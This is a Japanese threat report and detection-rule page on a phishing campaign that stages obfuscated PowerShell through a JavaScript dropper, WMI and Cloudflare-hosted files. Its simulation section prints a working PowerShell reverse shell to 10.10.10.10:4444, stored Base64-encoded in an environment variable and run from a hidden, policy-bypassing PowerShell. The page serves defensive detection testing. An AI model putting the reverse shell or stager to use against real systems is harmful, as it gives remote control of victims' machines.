悪意のあるMSIバックグラウンドが再び登場
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
WeTransferリンクを含むフィッシングメールは、環境変数内に難読化されたペイロードを格納するJavaScriptファイルを配布します。そのペイロードは後にデコードされ、WMI経由で起動されたPowerShellを通じて実行され、Cloudflare WorkersとR2ストレージから悪意あるMSIスタイルの背景JPEGと.NET DLLをダウンロードします。このDLLは改造されたビルドの Microsoft.Win32.TaskScheduler で、フォローオンペイロードを読み込んで、スケジュールされたタスクを通じて永続化を作成する可能性があります。このキャンペーンは、攻撃者が引き続き正当なクラウドサービスを悪用して悪意あるコンポーネントをホストおよび配布する方法を強調しています。
調査
アナリストは、 Remittance Advice.js と名付けられた最初のJavaScriptファイルを特定し、ROT13で難読化されたコードが INTERNAL_DB_CACHE 環境変数を作成します。その後、WMIを通じて隠されたウィンドウでPowerShellが起動され、デコードされたスクリプトブロックが実行されます。そのスクリプトは、 workers.dev サブドメインからJPEGファイルを、公共の r2.dev バケットからPNGファイルを取得し、いずれもステガノグラフィを使用して追加のペイロードを運ぶために使用されたと考えられます。最終段階のコンポーネントは、オープンソースのTaskSchedulerライブラリから派生した.NET DLLです。
軽減策
組織は、既知の悪意あるドメインへのアクセスをファイアウォールまたはプロキシ層でブロックすべきです。PowerShellの実行およびWMIベースのプロセスの作成は、不信任ユーザに対して可能な限り制限する必要があります。防御者はまた、隠れたPowerShellの実行の監視、 we.tl, workers.devなどの悪用、 r2.dev Win32_Process.Create Win32_Process.Create メソッド、および INTERNAL_DB_CACHEのような異常な環境変数を監視すべきです。公共クラウドストレージからダウンロードされたファイルは厳密な検証と検査を受ける必要があります。
対応
セキュリティチームはPowerShellがWMIを介して隠れたウィンドウで起動されるとき、 INTERNAL_DB_CACHE 変数が作成または変更されるときにアラートを出すべきです。特定されたURLに接続するか、 workers.dev or r2.dev からコンテンツをダウンロードするプロセスは直ちに調査されるべきです。フォレンジック分析は、悪意のある.NET DLLを特定し、TaskSchedulerライブラリに依存する新しく作成されたスケジュールタスクを特定することに重点を置くべきです。影響を受けるホストは迅速に修正されるべきであり、観察されたインジケーターを含む検出コンテンツを更新する必要があります。
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef malware fill:#ff9999 classDef file fill:#ccccff %% Node definitions action_phishing[“<b>アクション</b> – <b>T1566.002 フィッシング: スピアフィッシングリンク</b><br/><b>説明</b>: 被害者に悪意のあるWeTransferリンクを含むメールを送信する”] class action_phishing action tool_js[“<b>ツール</b> – <b>JavaScriptペイロード</b><br/><b>技術</b>: T1027.008 難読化されたファイルまたは情報, T1132 データエンコーディング<br/><b>説明</b>: ROT13/改変Base64ペイロードを含む環境変数を設定して実行する”] class tool_js tool process_wmi_ps[“<b>プロセス</b> – <b>WMI経由のPowerShell</b><br/><b>技術</b>: T1216 署名済みバイナリのプロキシ実行, T1036.009 なりすまし, T1564.010 アーティファクトの隠蔽<br/><b>説明</b>: WMIを介して非表示のPowerShellプロセスを起動する”] class process_wmi_ps process malware_taskdll[“<b>マルウェア</b> – <b>.NET TaskScheduler DLL</b><br/><b>技術</b>: T1127.003 信頼された開発ユーティリティによるプロキシ実行<br/><b>説明</b>: デコードされたペイロードを.NET DLLとして読み込み、タスクスケジューラに登録する”] class malware_taskdll malware tool_downloader[“<b>ツール</b> – <b>ダウンローダー</b><br/><b>技術</b>: T1578 インフラ取得, T1538 クラウドストレージからのデータ取得, T1537 クラウドアカウントへのデータ転送<br/><b>説明</b>: Cloudflare WorkersおよびR2ストレージから追加ファイルを取得する”] class tool_downloader tool file_png[“<b>ファイル</b> – <b>ステガノグラフィPNG</b><br/><b>説明</b>: 後で処理される隠しデータを含むPNG画像”] class file_png file %% Connections showing attack flow action_phishing –>|配信| tool_js tool_js –>|実行して設定| process_wmi_ps process_wmi_ps –>|起動| malware_taskdll malware_taskdll –>|読み込み| tool_downloader tool_downloader –>|取得| file_png
攻撃の流れ
シミュレーションの実行
前提条件: テレメトリー&ベースラインの事前検査が通過していること。
論理: このセクションは検出ルールを発火させるために設計された敵の技術(TTP)の正確な実行を詳細に説明します。コマンドと説明はTTPを直接反映し、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。
-
攻撃のストーリーとコマンド:
攻撃者はまずベース64でエンコードされたPowerShellペイロードをINTERNAL_DB_CACHEというプロセスレベルの環境変数に注入します。このペイロードはデコードされるとリバースシェルを起動します。次に攻撃者はその変数を読み取り、ScriptBlock::Createを介して実行する二つ目のPowerShellプロセスを起動し、これにより悪意のあるコマンドを即時のコマンドラインから出します。この「既存資源を活用する」アプローチは、静的シグネチャ検出を回避し、ルールがキャッチするよう設計された二段階パターンを活用します。-
ステージ1 – ペイロードをエンコードして環境変数に格納
$payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") -
ステージ2 – エンコードされたペイロードを環境変数から実行
powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
-
-
回帰テストスクリプト: 以下のスクリプトは2つのステップを自動化し、相関に必要なタイムスタンプをキャプチャし、最初のプロセスが終了する前に2つ目が開始されるための短い待機時間を挿入します。
# ---------------------------------------------- # 環境変数でエンコードされたペイロードのPowerShellシミュレーション # ---------------------------------------------- # ステップ1 - 無害なリバースシェルペイロードをエンコード(あなたのC2アドレスで置き換える) $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep' # 安全なテストのための小さな無害なペイロード $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload)) [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process") Write-Host "[*] 環境変数 INTERNAL_DB_CACHE が設定されました。" # 最初のコマンドが記録されることを保証するための短い待機時間 Start-Sleep -Seconds 2 # ステップ2 - 変数からペイロードを実行 powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command ` Write-Host "[*] ペイロードの実行がトリガーされました。" -
クリーンアップコマンド: 一時的な環境変数を削除し、テスト中に作成された余分なプロセスを終了します。
# テスト環境変数を削除 [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process") Write-Host "[*] クリーンアップ – INTERNAL_DB_CACHE が削除されました。" # 孤立したpowershell.exeインスタンスが残らないことを確認(現在のセッションを除外) Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force Write-Host "[*] クリーンアップ – 孤立したPowerShellプロセスが終了しました。"